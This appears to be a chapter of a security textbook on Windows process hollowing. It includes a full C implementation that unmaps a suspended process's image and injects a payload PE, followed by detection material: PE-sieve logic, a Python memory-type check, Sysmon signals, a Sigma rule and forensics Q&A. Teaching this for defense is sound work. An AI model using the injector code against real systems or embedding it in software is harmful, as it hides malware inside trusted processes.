Chapter 35

Process Hollowing

Replacing a suspended process's executable image with malicious code — the CREATE_SUSPENDED trick, the full implementation steps, why it evades process-name-based detection, and cross-view memory analysis to catch it

Scenario

Task Manager shows svchost.exe running. The process image path in the PEB still says C:\Windows\System32\svchost.exe. But its memory at the svchost ImageBase doesn't contain the real svchost code — it contains a Cobalt Strike beacon. The process was hollowed: spawned suspended, real image unmapped, payload written at the same base address, then resumed. The process name is clean; only the actual memory content reveals the swap. This is process hollowing (T1055.012).

How Process Hollowing Works

Step 1: CreateProcess with CREATE_SUSPENDED
  Malware                         Target (svchost.exe, suspended)
  ──────                          ───────────────────────────────
  CreateProcessW(svchost, ...,
    CREATE_SUSPENDED, ...)  ─────► svchost.exe loaded, but
                                   primary thread NOT started yet
                                   Image at preferred base (or ASLR base)

Step 2: Unmap the original image from the suspended process
  NtUnmapViewOfSection(
    hProcess, imageBase) ────────► svchost.exe PE unmapped from memory
                                   Address range now MEM_FREE

Step 3: Allocate space at the same base and write payload PE
  VirtualAllocEx(hProcess,
    payloadBase, payloadSize,
    MEM_COMMIT|MEM_RESERVE,
    PAGE_EXECUTE_READWRITE) ─────► RWX region at target's preferred base
  WriteProcessMemory(headers)
  WriteProcessMemory(sections)  ──► Payload PE written into target

Step 4: Relocate if necessary + fix PEB ImageBaseAddress
  ReadProcessMemory(PEB) ─────────► PEB.ImageBaseAddress = old base
  WriteProcessMemory(PEB + 0x10,
    payloadBase) ────────────────► PEB.ImageBaseAddress = payload base

Step 5: Fix thread context entry point
  GetThreadContext(hThread)
  Modify context.Rcx = payload EP (AddressOfEntryPoint + payloadBase)
  SetThreadContext(hThread) ───────► Thread will start at payload EP

Step 6: ResumeThread
  ResumeThread(hThread) ──────────► Payload runs as svchost.exe

Implementation

// Process hollowing — conceptual implementation
// Requires NtUnmapViewOfSection from ntdll (not in SDK headers)
typedef NTSTATUS (NTAPI *pNtUnmapViewOfSection)(HANDLE, PVOID);

BOOL ProcessHollow(const wchar_t *legitExePath, PBYTE payloadBuf, SIZE_T payloadSize)
{
    // Step 1: spawn the host process suspended
    STARTUPINFOW si = { sizeof(si) };
    PROCESS_INFORMATION pi;
    if (!CreateProcessW(legitExePath, NULL, NULL, NULL, FALSE,
                          CREATE_SUSPENDED, NULL, NULL, &si, &pi))
        return FALSE;

    // Step 2: find and unmap the original image
    CONTEXT ctx = {}; ctx.ContextFlags = CONTEXT_FULL;
    GetThreadContext(pi.hThread, &ctx);

    // On x64: PEB address is at Rdx after process creation (undocumented but stable)
    // Read PEB.ImageBaseAddress (PEB + 0x10 on x64)
    PVOID pebBase; DWORD64 imageBase;
    ReadProcessMemory(pi.hProcess,
        (void*)(ctx.Rdx), &pebBase, sizeof(pebBase), NULL);
    ReadProcessMemory(pi.hProcess,
        (char*)pebBase + 0x10, &imageBase, sizeof(imageBase), NULL);

    // Call NtUnmapViewOfSection to unmap the original image
    pNtUnmapViewOfSection NtUnmap = (pNtUnmapViewOfSection)
        GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtUnmapViewOfSection");
    NtUnmap(pi.hProcess, (void*)imageBase);

    // Step 3: allocate and write payload
    PIMAGE_NT_HEADERS pNT = (PIMAGE_NT_HEADERS)(payloadBuf +
        ((PIMAGE_DOS_HEADER)payloadBuf)->e_lfanew);
    DWORD64 preferredBase = pNT->OptionalHeader.ImageBase;
    SIZE_T  imageSize     = pNT->OptionalHeader.SizeOfImage;

    PVOID pAlloc = VirtualAllocEx(pi.hProcess, (void*)preferredBase,
                                    imageSize, MEM_COMMIT | MEM_RESERVE,
                                    PAGE_EXECUTE_READWRITE);
    if (!pAlloc) pAlloc = VirtualAllocEx(pi.hProcess, NULL,
                                    imageSize, MEM_COMMIT | MEM_RESERVE,
                                    PAGE_EXECUTE_READWRITE);

    // Write PE headers
    WriteProcessMemory(pi.hProcess, pAlloc, payloadBuf,
        pNT->OptionalHeader.SizeOfHeaders, NULL);

    // Write each section
    PIMAGE_SECTION_HEADER pSec = IMAGE_FIRST_SECTION(pNT);
    for (int i = 0; i < pNT->FileHeader.NumberOfSections; i++, pSec++) {
        PVOID dst = (char*)pAlloc + pSec->VirtualAddress;
        PVOID src = payloadBuf + pSec->PointerToRawData;
        WriteProcessMemory(pi.hProcess, dst, src, pSec->SizeOfRawData, NULL);
    }

    // Step 4: update PEB ImageBaseAddress
    WriteProcessMemory(pi.hProcess, (char*)pebBase + 0x10,
        &pAlloc, sizeof(pAlloc), NULL);

    // Step 5: update thread context (entry point)
    DWORD64 epRva  = pNT->OptionalHeader.AddressOfEntryPoint;
    ctx.Rcx = (DWORD64)pAlloc + epRva;
    SetThreadContext(pi.hThread, &ctx);

    // Step 6: resume
    ResumeThread(pi.hThread);
    CloseHandle(pi.hThread);
    CloseHandle(pi.hProcess);
    return TRUE;
}

Why Basic Detection Misses It

Detection methodResultWhy it fails
Process name check Sees "svchost.exe" Process name comes from the original CreateProcess call, not the code running
Process image path Shows real svchost.exe path PEB.ImageBaseAddress may still point to the written payload at the original base
Import scan via API Shows svchost imports Some tools read imports from the image path on disk, not from memory
Code signing check Shows svchost is signed Signature check is against the file on disk; the in-memory code was never signed

PE-Sieve Detection

PE-sieve (and its equivalent logic in modern EDRs) detects hollowing by comparing in-memory PE sections with the on-disk image:

  1. Enumerate all running processes.
  2. For each process, find its image base from the PEB.
  3. Read the PE header from memory; extract module path from PEB.FullDllName.
  4. Read the same sections from the on-disk file.
  5. Compare .text section bytes: memory vs disk. Differences indicate code replacement or unpacking.
  6. Check the VAD type for the executable region: MEM_IMAGE (file-backed) vs MEM_PRIVATE (anonymous allocation). A hollowed process with NtUnmapViewOfSection + VirtualAllocEx has MEM_PRIVATE for its image region — a strong indicator.
# Quick Python: flag processes where image region is MEM_PRIVATE
# Normal: the .exe's image region is MEM_IMAGE (file-backed)
# Hollowed: NtUnmapViewOfSection removed the file-backed mapping;
#           VirtualAllocEx created MEM_PRIVATE at the same base
import ctypes, ctypes.wintypes

MEM_PRIVATE = 0x20000
MEM_IMAGE   = 0x1000000
MEM_COMMIT  = 0x1000

class MEMORY_BASIC_INFORMATION(ctypes.Structure):
    _fields_ = [
        ("BaseAddress",       ctypes.c_uint64),
        ("AllocationBase",    ctypes.c_uint64),
        ("AllocationProtect", ctypes.c_uint32),
        ("_pad",              ctypes.c_uint32),
        ("RegionSize",        ctypes.c_uint64),
        ("State",             ctypes.c_uint32),
        ("Protect",           ctypes.c_uint32),
        ("Type",              ctypes.c_uint32),
        ("_pad2",             ctypes.c_uint32),
    ]

def is_image_base_private(hProc: int, image_base: int) -> bool:
    mbi = MEMORY_BASIC_INFORMATION()
    ctypes.windll.kernel32.VirtualQueryEx(
        hProc, ctypes.c_void_p(image_base),
        ctypes.byref(mbi), ctypes.sizeof(mbi))
    return mbi.State == MEM_COMMIT and mbi.Type == MEM_PRIVATE

Sysmon Detection Signatures

# Sysmon Event ID 8 (CreateRemoteThread) — from the suspended process resumed:
#   No CreateRemoteThread is used in classic hollowing (it uses SetThreadContext
#   on the original suspended thread). So the main Sysmon signal is:

# Event ID 1 (Process Create):
#   Command line: svchost.exe spawned WITHOUT normal parent (services.exe)
#   OR spawned by a non-system process

# Event ID 10 (Process Access):
#   GrantedAccess includes VM_OPERATION + VM_WRITE + THREAD_SET_CONTEXT

# What PE-sieve and advanced EDRs check:
#   - MEM_PRIVATE at image base (Chapter 17)
#   - .text section hash mismatch (memory vs disk)
#   - PEB ImageBaseAddress != actual first MEM_IMAGE region

title: Process Hollowing — Suspicious Access to Suspended Process
logsource:
    category: process_access
    product: windows
detection:
    selection:
        GrantedAccess|contains:
            - '0x1fffff'    # PROCESS_ALL_ACCESS
        TargetImage|endswith:
            - '\svchost.exe'
            - '\explorer.exe'
            - '\notepad.exe'
    filter_legitimate:
        SourceImage|startswith:
            - 'C:\Windows\System32\services.exe'
    condition: selection and not filter_legitimate

Q & A

If the hollowed process's PEB still shows the legitimate path, why would memory forensics tools ever see the payload?

Memory forensics tools (Volatility, Rekall, pe-sieve) use multiple independent views of process memory and compare them. The key technique is cross-view analysis between the PEB (process-reported data) and the physical page tables / VAD tree (kernel-reported data): (1) VAD Type comparison: the VAD entry for the process's image range says whether the region is MEM_IMAGE (file-backed) or MEM_PRIVATE (anonymous). After hollowing with NtUnmapViewOfSection + VirtualAllocEx, the image region becomes MEM_PRIVATE. But the PEB ImageBaseAddress still points to that base. The mismatch — PEB says image at base X, VAD says base X is anonymous private memory, not file-backed — is the hallmark of hollowing. (2) Section content comparison: forensics tools read the section content from the process's memory pages, then load the legitimate svchost.exe from disk and compare section-by-section. The .text section of the hollowed process contains the payload — bytes that don't match the real svchost .text. (3) Even if the attacker uses VirtualAllocEx at the same base address the original image was at, the VAD type is still MEM_PRIVATE. The only way to get MEM_IMAGE is to map a real PE file through a section object — and that would mean writing a signed/known file rather than arbitrary shellcode. HVCI enforcement makes this difficult to exploit: code must be signed to be marked executable in a mapped section.

What is process overwriting (module overwriting) and how does it differ from classic hollowing?

Process overwriting (sometimes called module overwriting or PE overwriting) is a variant that avoids NtUnmapViewOfSection entirely. Instead of unmapping the original image and replacing it with an anonymous allocation, the attacker: (1) Creates the process suspended (same as hollowing). (2) Opens the process's image as a file-backed writable section, or directly patches the in-memory image using WriteProcessMemory on the existing MEM_IMAGE region. (3) Overwrites the existing MEM_IMAGE sections with payload code. The process's image pages are now marked copy-on-write (CoW). When the pages are modified, Windows creates private copies — but the VAD entry remains MEM_IMAGE (file-backed), because the section object still exists for the original file. This defeats the "MEM_PRIVATE at image base" detection signal — the region appears file-backed. Detection for this variant: hash comparison of the .text section bytes against the on-disk file. The in-memory bytes differ from disk, even though the region type is still MEM_IMAGE. PE-sieve specifically checks this. The deeper evasion challenge: an attacker might try module stomping (Chapter 20) to write into a legitimately-loaded copy of a system DLL rather than the main executable, making the target of the hash comparison harder to identify.